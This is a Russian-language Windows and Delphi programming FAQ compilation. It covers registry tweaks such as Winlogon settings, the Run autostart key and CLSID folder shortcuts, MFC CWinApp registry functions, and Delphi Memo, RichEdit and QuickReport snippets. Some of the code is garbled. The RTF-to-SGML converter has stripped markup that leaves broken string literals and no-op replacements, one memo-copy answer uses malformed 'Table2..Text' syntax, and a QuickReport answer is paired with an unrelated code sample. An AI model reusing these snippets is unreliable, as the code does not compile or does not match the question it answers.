Возможность выключения компьютера из диалогового окна опознавания (Windows NT) Когда этот параметр включен, Вы можете использовать команду "Выключить компьютер" из диалогового окна опознавания, при запуске системы, если передумали начинать работу. Значение по умолчанию: Сервер NT = Заблокирован, Рабочая станция NT = Включена. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: ShutdownWithoutLogon Тип: REG_SZ Значение: (0 = отключено, 1=включено)
Определение исполняемых файлов, которые будут запущены при входе в систему (Windows NT) Этот параметр определяет исполняемые файлы, которые будут запущены при входе в систему, он может быть изменен простым редактированием значений. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: System Тип: REG_SZ Значение: (значение по умолчанию = lsass.exe)
К заголовку




Ключи реестра (Советы и уловки)
===============
[Советы и уловки]
===============
Показ полноцветных значков без пакета Plus (Windows 9x и NT)
Ключ, дающий Вам возможность отображать значки в полноцветном режиме, без установки пакета Plus. Обратите внимание: Вам
нужна графическая плата, способная к представлению более чем 256 цветов.

Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
Параметр: Shell Icon BPP
Тип: REG_SZ
Значение: 16

Заданное по умолчанию название и информация о компании (Windows 9x и NT) Когда Вы устанавливаете новую программу, используя программу установки Microsoft, отображается заданное по умолчанию имя и компания, эти значения могут быть изменены, когда они неправильны. 1. Используя Regedit, откройте ключ указанный ниже. 2. Измените значения параметров 'DefName' и 'DefCompany' на Ваше текущее имя и название компании соответственно. 3. При последующих установках программ будут использоваться эти новые значения. Обратите внимание: Эти изменения не будут затрагивать уже зарегистрированные программы, они воздействует только на новые инсталляции. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info] Тип: REG_SZ
Удаление элементов из меню 'Создать' (Windows 9x и NT) Когда Вы щелкаете правой кнопкой мыши на вашем рабочем столе или других выбранных программах появляется подменю Создать, которое содержит список заданных по умолчанию шаблонов. Этот список может быть изменен для того, чтобы включить в меню только шаблоны, которые Вы хотите. Каждый шаблон существует в ключе [HKEY_CLASSES_ROOT], и связан с расширением файла. Является ли он видимым, или нет в меню Создать определяется тем, имеет ли связанный элемент подключ по имени 'ShellNew'. Например, в меню Создать обычно имеется пункт "Текстовый документ ". Она видима потому, что существует ключ: [HKEY_CLASSES_ROOT\.txt\ShellNew], если Вы переименуете ключ так, что он больше не будет иметь имя 'ShellNew' например, [HKEY_CLASSES_ROOT\.txt\ShellNewOld],то команда исчезнет из меню Создать. 1. Откройте Regedit и используя функцию Поиск (Ctrl+F) найдите все значения 'ShellNew'. 2. Некоторые из них будут находится в корневом ключе [HKEY_CLASSES_ROOT], если Вы не хотите, чтобы команда для определенного формата файла в котором находится подключ 'ShellNew', была отображена, переименуйте 'ShellNew' на 'ShellNewOld'. Обратите внимание: Изменения должны вступить в силу немедленно, без перезагрузки.
Изменение расположения системных и специальных папок (Windows 9x и NT) Windows сохраняет ряд специальных папок типа " Мои Документы ", "Рабочий стол", "Избранное" и меню “Автозагрузка". Эти папки могут быть перемещены на новое место в Вашей системе, и модифицированы в этом ключе. 1. Используя Regedit, откройте ключ указанный ниже, в нем перечислены все специальные папки Windows. 2. Обратите внимание на текущее место папки, которую Вы хотите переместить и затем, используя Проводник, переместите папку на новое место. 3. Отредактируйте параметр в этом ключе для папки, которую Вы переместили, чтобы зарегестрировать новое место каталога. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Удаление значков с Вашего Рабочего стола (Windows 9x и NT) Этот ключ содержит ряд подключей, которые содержат информацию относительно имен специальных значков на вашем рабочем столе. Через этот ключ Вы можете установить, какой из значков является видимым на Рабочем столе, включая “Мой Компьютер”, “Входящие”, “MSN” и “Internet” значки. Имя каждого подключа это глобальный уникальный идентификатор (GUID), и значение по умолчанию каждого такого ключа это его удобочитаемое имя, хотя оно может и не совпадать с именем значка на Рабочем столе. Удаление значка с Вашего Рабочего стола: 1. Проверьте все подключи, пока не найдете ключ, представляющий значок, который Вы хотите удалить с Вашего Рабочего стола, удалите этот ключ, и значок должен исчезнуть. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace]
Автоматически запускаемые программы при загрузке Windows (Windows 9x и NT) Вы можете автоматически запускать программы всякий раз, когда Windows загружается. Если Вы имеете программы, которые автоматически запускаются, а Вы не хотите этого, они могут быть в этом ключе. 1. Откройте Regedit, и найдите ключ указанный ниже. 2. Для каждой программы которую Вы хотите запустить автоматически, создайте новый строковый параметр, используя подробное имя программы, и установите его значение равным пути к выполняемому файлу программы. Например. Чтобы автоматически запустить Блокнот, добавьте новый параметр "Блокнот" = "c:\windows\notepad.exe" Обратите внимание: Не забудьте использовать полный путь к программе, если каталог в котором находится файл не включен в переменную заданых по умолчанию путей поиска файлов. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] Тип: REG_SZ
Создание ярлыка к системным папкам (Windows 9x и NT) Эта функция позволяет Вам добавлять ярлык к различным системным папкам на вашем Рабочем столе или меню “Пуск”. Создайте новую папку на Вашем Рабочем столе, и назовите, ее "Панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D} ". Должен появится значок Панели управления (не ярлык). Теперь Вы можете перемещать значок куда угодно: на Ваш Рабочий стол или в меню Пуск. Тот же самое можно сделать для других папок, изменив значения на: Для Удаленного доступа к сети Удаленный доступ к сети.{992CFFA0-F557-101A-88EC-00DD010CCC48} Для Принтеров Принтеры.{2227A280-3AEA-1069-A2DE-08002B30309D} Для Панели управления Панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D} Для Моего компьютера Мой компьютер.{20D04FE0-3AEA-1069-A2D8-08002B30309D} Для Сетевого окружения Сетевое окружение.{208D2C60-3AEA-1069-A2D7-08002B30309D} Для Входящих Входящие.{00020D75-0000-0000-C000-000000000046} Для Корзины Корзина.{645FF040-5081-101B-9F08-00AA002F954E} Для получения информации по другим папкам посмотрите ключ HKEY_CLASSES_ROOT\CLSID. Ключ: [HKEY_CLASSES_ROOT\CLSID]
Удаление кэшированных командных строк из меню “Выполнить” (Windows 9x) Это позволит Вам удалить посторонние команды из диалогового окна “Выполнить” в меню “Пуск”. Удалите подключи, соответствующие команде, которую Вы хотите удалить, или удалить их все, чтобы очистить список команд. Ключ: [HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU] Тип: REG_SZ
К заголовку




Функции для работы с реестром
=========
http://cppclub.newmail.ru/articles/registry01.html
Функции для работы с реестром
Разбирался, давеча, с функциями позволяющими работать с реестром Windows. Нашел ряд функций-членов класса
CWinApp: SetRegistryKey, GetProfileInt, GetProfileString, WriteProfileInt, WriteProfileString . Если кому интересен перевод
MSDN'овского хелпа к этим функциям - то его можно найти здесь.

CWinApp::SetRegistryKey
void SetRegistryKey( LPCTSTR lpszRegistryKey );
void SetRegistryKey( UINT nIDRegistryKey );

Параметры
lpszRegistryKey
Указатель на строку содержащую имя ключа реестра.

nIDRegistryKey
ID/индекс ключа в реестре.


Описание
Заставляет приложение сохранять установки в реестр вместо INI файлов. Эта функция устанавливает
m_pszRegistryKey, которая затем используется в следующих функциях-членах CWinApp: GetProfileInt, GetProfileString,
WriteProfileInt, and WriteProfileString. Если эта функция была вызвана, список недавно используемых файлов (list of
most recently-used - MRU) также сохраняется в реестре. Ключ реестра обычно является именем компании. Ключ
реестра имеет следующий вид: HKEY_CURRENT_USER\Software\\\\.

=========

CWinApp::GetProfileInt
UINT GetProfileInt( LPCTSTR lpszSection, LPCTSTR lpszEntry, int nDefault );

Возвращаемое значение
Если функция успешно отработала - целое значение строки определенной записи. Возвращаемое значение -
значение параметра nDefault если функция не нашла записи. Возвращаемое значение - 0 если значение которое
соответствует заданной записи не целое.
Эта функция поддерживает шестнадцатеричную нотацию для значений в .INI файле. Когда вы получаете знаковое
целое, вы должны перевести значение в int.

Параметры
lpszSection
Указатель на строку завершенную нулем которая определяет секцию, содержащую запись в реестре.

lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, значение которой будет возвращено.

nDefault
Определяет значение по умолчанию для возвращения, если система не сможет найти запись. Это значение может
быть беззнаковым целым (unsigned) в диапазоне от 0 до 65,535 или знаковым (signed) в диапазоне от -32,768 до
32,767.


Описание
Вызывайте эту функцию для получения целого значения записи из определенной секции из реестра или .INI файла.
Записи сохраняются следующим образом:

В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Эта функция не чувствительна к регистру букв, таким образом, строки в параметрах lpszSection и lpszEntry могут
использовать буквы разного регистра.

=========

CWinApp::GetProfileString
CString GetProfileString( LPCTSTR lpszSection, LPCTSTR lpszEntry, LPCTSTR lpszDefault = NULL );

Возвращаемое значение
Возвращаемое значение - строка из.INI файла приложения или lpszDefault если строка не найдена. Максимальная
длинна строки, которую поддерживает система, определена в _MAX_PATH. Если lpszDefault равно NULL,
возвращаемое значение - пустая строка.

Параметры
lpszSection
Указатель на строку завершенную нулем которая определяет секцию содержащую запись в реестре.

lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, строка из которой будет возвращена. Это
значение не должно быть равно NULL.

lpszDefault
Указатель на значение строки по умолчанию для заданной записи если запись не найдена в инициализирующем
(INI) файле.


Описание
Вызывайте эту функцию для получения строки связанной с записью в заданной секции реестра приложения или .INI
файла.
Записи сохраняются следующим образом:

В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";

CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");

CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");

pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);

=========

CWinApp::WriteProfileInt
BOOL WriteProfileInt( LPCTSTR lpszSection, LPCTSTR lpszEntry, int nValue );

Возвращаемое значение
Не 0 в случае удачного вызова функции, иначе 0.

Параметры
lpszSection
Указатель на строку завершенную нулем, которая определяет секцию, содержащую запись. Если секция не
найдена, она создается. Имя секции не зависит от регистра; строка может сочетать как заглавные, так и
прописные буквы.

lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, в которую будет записано значение. Если
запись не найдена в заданной секции, она создается.

nValue
Содержит значение для записи.


Описание
Вызывайте эту функцию для записи заданного значения в заданную секцию реестра или .INI файл.
Записи сохраняются следующим образом:

В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";

CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");

CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");

pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);

=========

CWinApp::WriteProfileString
BOOL WriteProfileString( LPCTSTR lpszSection, LPCTSTR lpszEntry, LPCTSTR lpszValue );

Возвращаемое значение
Не 0 в случае удачного вызова функции, иначе 0.

Параметры
lpszSection
Указатель на строку завершенную нулем, которая определяет секцию, содержащую запись. Если секция не
найдена, она создается. Имя секции не зависит от регистра; строка может сочетать как заглавные, так и
прописные буквы.

lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, в которую будет записано значение. Если
запись не найдена в заданной секции, она создается.

lpszValue
Указатель на строку, предназначенную для записи. Если этот параметр NULL, запись определенная параметром
lpszEntry удаляется.


Описание
Вызывайте эту функцию для записи заданной строки в заданную секцию реестра или .INI файл.
Записи сохраняются следующим образом:

В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";

CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");

CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");

pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);

К заголовку




Как зарегистрировать свое расшерения для файлов?
Как зарегистрировать свое расшерения для файлов? Т.е. чтобы при щелчке по такому файлу вызывалась моя программа.

Вот пример:

//Use the registry to register your own filetype.
Uses
 registry;
procedure TForm1.RegisterFileType(prefix:String; exepfad:String);
 var
   reg:TRegistry;
 begin
   reg:=TRegistry.Create;
   reg.RootKey:=HKEY_CLASSES_ROOT;
   //create a new key  --> .pci
   reg.OpenKey('.'+prefix,True);
   //create a new value for this key --> pcifile
   reg.WriteString('',prefix+'file');
   reg.CloseKey;
   //create a new key --> pcifile
   reg.CreateKey(prefix+'file');
   //create a new key pcifile\DefaultIcon
   reg.OpenKey(prefix+'file\DefaultIcon',True);
   //and create a value where the icon is stored --> c:\project1.exe,0
   reg.WriteString('',exepfad+',0');
   reg.CloseKey;
   reg.OpenKey(prefix+'file\shell\open\command',True);
   //create value where exefile is stored --> c:\project1.exe "%1"
   reg.WriteString('',exepfad+' "%1"');
   reg.CloseKey;
   reg.Free;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   RegisterFileType('pci','c:\project1.exe');
 end;
К заголовку




Как печатать на принтер не по умолчанию?
Установите свойство QuickRep.PrinterSettings.PrinterIndex тому принтеру, на который Вы хотите печатать. Значение -1 этого
свойства соответствует принтеру по умолчанию.
К заголовку




Как проверить содержимое TQRExpr программным путем?
Можно проверить содержимое с помощью свойства Value.Kind, которое может принимать следующие значения:
 resInt Value.IntResult
 resDouble Value.DblResult
 resString Value.StrResult
 resBool Value.BooResult
 resError there was an error
Эти константы объявлены в модуле QRPrntr.



A: Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
 Form1.Brush.Style := bsClear;
 Form1.BorderStyle := bsNone
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
 Application.Terminate;
end;
К заголовку




Как работает функция Count() в построителе выражений?
Значение функции Count() увеличивается на 1 при каждом ее вызове.
К заголовку




Как сохранить предварительный просмотр QuickReport в текстовый файл?
Добавьте модуль QREXTRA в раздел uses и следующий код в обработчик OnClick кнопки "Сохранить":
procedure TfrmPreview.ToolButton3Click(Sender: TObject);
begin
 frmReport.QuickRep1.ExportToFilter (TQRAsciiExportFilter.Create('c:\report.txt'));
end;
К заголовку




Как ускорить вывод отчета?
Создавайте отчеты с минимальным количеством выражений. Также выражение Sum(Field1+Field2) работает гораздо быстрее, чем
Sum(Field1)+Sum(Field2).
К заголовку




Как установить заголовок окна предварительного просмотра?
Заголовок окна предварительного просмотра равен свойству Title отчета
К заголовку




Popup в зависимости от позиции мышки?
Я нуждаюсь в показать popup меню когда пользователь прекратит выделять текст в TMemo.
Проблема в том, что я не могу определить координаты мышки так, как я хочу вызвать меню
именно в позиции в которой пользователь отпустил клавишу мышки.

procedure TForm1.Memo1MouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var ClientPoint,ScreenPoint: TPoint;
begin
 if Memo1.SelLength>0 then
 begin
  ClientPoint.X := X;
  ClientPoint.Y := Y;
  ScreenPoint := ClientToScreen (ClientPoint);
  PopupMenu1.Popup (ScreenPoint.X, ScreenPoint.Y);
 end;
end;
К заголовку




RichEdit в SGML-код
Приведу программу, которую я использую для преобразования содержимого RichEdit в SGML-код. Она не формирует полный
HTML-аналог, но вы сами можете добавить необходимый RTF-код и его интерпретацию в HTML-тэги.

Код содержит интуитивно понятные комментарии и строки на шведском языке, нецелесообразные для перевода.
--------------------------------------------------------------------------------
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'e5','a');
text := stringreplaceall (text,'\'+chr(39)+'c5','A');
text := stringreplaceall (text,'\'+chr(39)+'e4','a');
text := stringreplaceall (text,'\'+chr(39)+'c4','A');
text := stringreplaceall (text,'\'+chr(39)+'f6','o');
text := stringreplaceall (text,'\'+chr(39)+'d6','O');
text := stringreplaceall (text,'\'+chr(39)+'e9','e');
text := stringreplaceall (text,'\'+chr(39)+'c9','E');
text := stringreplaceall (text,'\'+chr(39)+'e1','a');
text := stringreplaceall (text,'\'+chr(39)+'c1','A');
text := stringreplaceall (text,'\'+chr(39)+'e0','a');
text := stringreplaceall (text,'\'+chr(39)+'c0','A');
text := stringreplaceall (text,'\'+chr(39)+'f2','o');
text := stringreplaceall (text,'\'+chr(39)+'d2','O');
text := stringreplaceall (text,'\'+chr(39)+'fc','u');
text := stringreplaceall (text,'\'+chr(39)+'dc','U');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
text := stringreplaceall (text,'{\rtf1\ansi\deff0\deftab720','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
text := stringreplaceall (text,'{\f0\fnil MS Sans Serif;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f1\fnil\fcharset2 Symbol;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do

begin
application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
text := stringreplaceall (text,'\pard\plain\f0 ','
');
text := stringreplaceall (text,'\par \plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0','');
text := stringreplaceall (text,'\par }','
');
text := stringreplaceall (text,'\par ','
');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
result := text;
end;
--------------------------------------------------------------------------------
//Нижеприведенный кусок кода вырезан из довольно большой программы, вызывающей вышеприведенную функцию.
//Я знаю что мог бы использовать потоки вместо использования отдельного файла, но у меня не было времени для реализации этого


utfilnamn := mditted.exepath+stringreplace(stringreplace(extractfilename(pathname),'.TTT',''),'.ttt','') + 'ut.RTF';
brodtext.lines.savetofile (utfilnamn);
temptext := '';
assignfile(tempF,utfilnamn);
reset (tempF);
try
while not eof(tempF) do
begin
readln (tempF,temptext2);
temptext2 := stringreplaceall (temptext2,'\'+chr(39)+'b6','');
temptext2 := rtf2sgml (temptext2);
if temptext2 <>'' then temptext := temptext+temptext2;
application.processmessages;
end;
finally
closefile (tempF);
end;
deletefile (utfilnamn);
temptext := stringreplaceall (temptext,' ','');
temptext := stringreplaceall (temptext,'
 ','
');
temptext := stringreplaceall (temptext,'
'+chr(0),'
');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'','<#MELLIS>
');
temptext := stringreplaceall (temptext,'<#MELLIS>','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
 ','
');
temptext := stringreplaceall (temptext,'
-','
_');
temptext := stringreplaceall (temptext,'
_','_');
while pos('_',temptext)>0 do
begin
application.processmessages;
temptext2 := hamtastreng (temptext,'_','
');
temptext := stringreplace (temptext,temptext2+'
',temptext2+'');
temptext := stringreplace (temptext,'_','-');
end;
writeln (F,''+temptext+'');
К заголовку




Вставить текст в Memo?
Для вставки строки в memo :
procedure TForm1.Button1Click(Sender: TObject);
begin
     with Memo1 do begin
      SelStart:=10;
      SelLength:=0;
      SelText:='This is a string inserted into a memo, at 10th char position ';
   end;
end;

для вставки и замены:

procedure TForm1.Button1Click(Sender: TObject);
begin
     with Memo1 do begin
      SelStart:=10;
      SelLength:=20;
      SelText:='This is a string inserted, at 10th char position replacing 20 chars ';
   end;
end;
К заголовку




Как быстро определить есть ли 'какая-то' строка в Memo?
if Memo1.Lines.IndexOf('string') <> -1
К заголовку




Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке?
var X,Y: LongInt;
............
Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);
X:=Memo1.Perform(EM_LINEINDEX, Y, 0);
inc(Y);
X:=Memo1.SelStart-X+1;
К заголовку




Как в компоненте TMemo перехватить нажатие Ctrl-V и вставить специальный текст не из буфера обмена (clipboard)?
uses ClipBrd;

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
        if ((Key = ord('V')) and (ssCtrl in Shift)) then
                begin
                        if Clipboard.HasFormat(CF_TEXT) then
                                ClipBoard.Clear;
                        Memo1.SelText := 'Delphi is RAD!';
                        key := 0;
                end;
end;
К заголовку




Как вставить содержимое файла в текущую позицию курсора в компонете TMemo?
Считайте файл в TMemoryStream, затем ипользуйте метод TMemo SetSelTextBuf() для вставки текста;
var
        TheMStream : TMemoryStream;
        Zero : char;
begin
        TheMStream := TMemoryStream.Create;
        TheMStream.LoadFromFile('C:\AUTOEXEC.BAT');
        TheMStream.Seek(0, soFromEnd);
        //Null terminate the buffer!
        Zero := #0;
        TheMStream.Write(Zero, 1);
        TheMStream.Seek(0, soFromBeginning);
        Memo1.SetSelTextBuf(TheMStream.Memory);
        TheMStream.Free;
end;

К заголовку




Как выделитьв RichEdit, например, 4 строку?
=== 1 ===
Вадим ©   (11.11.01 21:17)
var
 p: TPoint;
begin
 p.X := 0;
 p.Y := 4;
 RichEdit.CaretPos := p; // работает только в D6
 RichEdit.SelLen := Length(RichEdit.Lines[4]); // SelLen или что-то вроде того
end.

=== 2 ===
Mbo ©   (12.11.01 07:35)
Строки нумеруются с 0!
with richedit1 do begin
selstart:=FindText(lines[3],0,length(text), [stWholeWord]);
sellength:=length(lines[3]);
selattributes.color:=clBlue;
end;
работает, если строка уникальная
иначе можно вычислять начало
sstart:=0;
for i:=0 to numstr-1 do sstart:=sstart+length(lines[i])+2;//numstr=3
selstart:=sstart;                                         //для 4 строки
К заголовку




Как изменить позицию табуляции в Memo?
Нужно послать в Memo сообщение EM_SETTABSTOPS.
Следующий пример устанавливает первые пять позиций табуляции равным 20 пикселям:
procedure TForm1.FormCreate(Sender: TObject);
var
  DialogUnitsX : LongInt;
  PixelsX : LongInt;
  i : integer;
  TabArray : array[0..4] of integer;
begin
  Memo1.WantTabs := true;
  DialogUnitsX := LoWord(GetDialogBaseUnits);
  PixelsX := 20;
  for i := 1 to 5 do begin
   TabArray[i - 1] :=
     ((PixelsX * i ) * 4) div DialogUnitsX;
  end;
  SendMessage(Memo1.Handle,
              EM_SETTABSTOPS,
              5,
              LongInt(@TabArray));
  Memo1.Refresh;
end;

К заголовку




Как можно задать поля в Memo
С помощью API-функции SendMessage можно задать поля в Memo-компоненте. Если необходимо, например, сделать отступ в 20
пикселей слева то можно это сделать следующим образом:

var Rect: TRect;
begin
  SendMessage( Memo1.Handle, EM_GETRECT, 0, LongInt(@Rect));
  Rect.Left:= 20;
  SendMessage(Memo1.Handle, EM_SETRECT, 0, LongInt(@Rect));
  Memo1.Refresh;
end;

К заголовку




Как найти строку-столбец позиции курсора?
implementation

uses
 RichEdit, ShellAPI, ReInit;
resourcestring
  sColRowInfo = 'Line: %3d   Col: %3d';

procedure TMainForm.UpdateCursorPos;
var
  CharPos: TPoint;
begin
  CharPos.Y := SendMessage(Editor.Handle, EM_EXLINEFROMCHAR, 0,
    Editor.SelStart);
  CharPos.X := (Editor.SelStart -
    SendMessage(Editor.Handle, EM_LINEINDEX, CharPos.Y, 0));
  Inc(CharPos.Y);
  Inc(CharPos.X);
  StatusBar.Panels[0].Text := Format(sColRowInfo, [CharPos.Y, CharPos.X]);
end;

procedure TMainForm.FormShow(Sender: TObject);
begin
  UpdateCursorPos;
end;

procedure TMainForm.SelectionChange(Sender: TObject);
begin
  UpdateCursorPos;
end;
К заголовку




Как определить номер текущей строки в TMemo?
Чтобы определить номер текущей строки любого объекта управления edit - пошлите ей сообщение EM_LINEFROMCHAR
Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
        LineNumber : integer;
begin
        LineNumber := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, word(-1), 0);
        ShowMessage(IntToStr(LineNumber));
end;

К заголовку




Как прокрутить Memo?
Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние
строки ?
Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);

или

Пример как прокрутить строки у любого визуального компонента, содержащего списоки, например ListBox...

Var
  M: TWMScroll;
 // тут что-то
Begin
  // и тут что-то
  M.Msg := WM_VSCROLL;
  M.ScrollCode := SB_BOTTOM;
  // и тут что-то
  // какой-то цикл
    ListBox1.Items.Add(Name);
    ListBox1.Dispatch(M);
    Application.ProcessMessages;
  // конец цикла

К заголовку




Как сделать сохранение в тхт формате для richedit?
""" Стас (15.06.00 03:30)
Я совсем юнный пользователь дельфи и пробую переделывать примеры программ,может научусь так чему нибудь..Вообщем есть в
приложении подобие текстового редактора, но он сохраняет в rtf, как переделать в тхт?

""" Mike Goblin - mgoblin@mail.ru (16.06.00 15:05)
Наверное вы используете пример редактора из дельфи.
В форме окна редактирования у компонента RichEdit установите св-во PlainText = true
К заголовку




Как увеличить в RichEdit размер редактируемого файла?
RichEdit должен редактировать тексты размером больше 64 кб, но по-умолчанию не хочет этого делать... Как установить
максимальный размер?

=== 1 ===
У этого компонента есть свойство MaxLength, которое работает некорректно.
Поэтому лучше пользоваться RichEdit.Perform(EM_LIMITTEXT, нужный размер, 0);
Причем перед каждом открытии файла это действие необходимо повторять.
Maxim Liverovskiy
(2:5030/254.38)

=== 2 ===
Если Вы передаете в качестве размера 0, то ОС ограничивает размер
OS Specific Default Value. Реально, по результатам моих экспериментов,
поставить можно размер, чуть меньший доступной виртуальной памяти.
Я ограничился 90% от свободной виртуалки.

=== 3 ===
Для того, чтобы не повторять этот вызов (EM_LIMITTEXT), можно воспользоваться
сообщением EM_EXLIMITTEXT.
К заголовку




Копирование memo поля из одной таблицы в другую?
===   1   ===
Table2..Text.Clear;
Table2..Text.Add(Table1..Text);

===   2   ===
MemoField1.Assign(MemoField2);
Make sure the dataset is in Edit mode.

===   3   ===
Var
   T : TMemoryStream
Begin
     T := TMemoryStream.Create;
     Table1.SavetoStream(T);
     Table2.LoadFromStream(T);
     T.Destroy;
End;

===   4   ===
Table2.Memo1.Lines.Assign(Table1.Memo1.Lines);
К заголовку




Поиск в richedit
procedure TForm1.Button1Click(Sender: TObject);
begin
  FindDialog1.Position := Point(RichEdit1.Left + RichEdit1.Width, RichEdit1.Top);
  FindDialog1.Execute;
end;

procedure TForm1.FindDialog1Find(Sender: TObject);
var
  FoundAt: LongInt;
  StartPos, ToEnd: Integer;
Begin
  with RichEdit1 do
  begin
    { begin the search after the current selection if there is one }
    { otherwise, begin at the start of the text }
    if SelLength <> 0 then
      StartPos := SelStart + SelLength;
    Else
      StartPos := 0;
    { ToEnd is the length from StartPos to the end of the text in the rich edit control }
    ToEnd := Length(Text) - StartPos;
    FoundAt := FindText(FindDialog1.FindText, StartPos, ToEnd, [stMatchCase]);
    if FoundAt <> -1 then
    begin
      SetFocus;
      SelStart := FoundAt;
      SelLength := Length(FindDialog1.FindText);
    end;
  end;
end;

К заголовку




Как изменить стиль шрифта RichEdit нажатиями соответствующих комбинаций клавиш?
В примере стили шрифта меняются по нажатию след. комбинаций клавиш
        Ctrl + B - вкл/выкл жирного шрифта
        Ctrl + I - вкл/выкл наклонного шрифта
        Ctrl + S - вкл/выкл зачеркнутого шрифта
        Ctrl + U - вкл/выкл подчеркнутого шрифта


Пример:

const
        KEY_CTRL_B = 02;
        KEY_CTRL_I =  9;
        KEY_CTRL_S = 19;
        KEY_CTRL_U = 21;

procedure TForm1.RichEdit1KeyPress(Sender: TObject; var Key: Char);
begin
        case Ord(Key) of
        KEY_CTRL_B:
                begin
                        Key := #0;
                                if fsBold in (Sender as TRichEdit).SelAttributes.Style then
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style - [fsBold]
                                else
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style + [fsBold];
                end;
        KEY_CTRL_I:
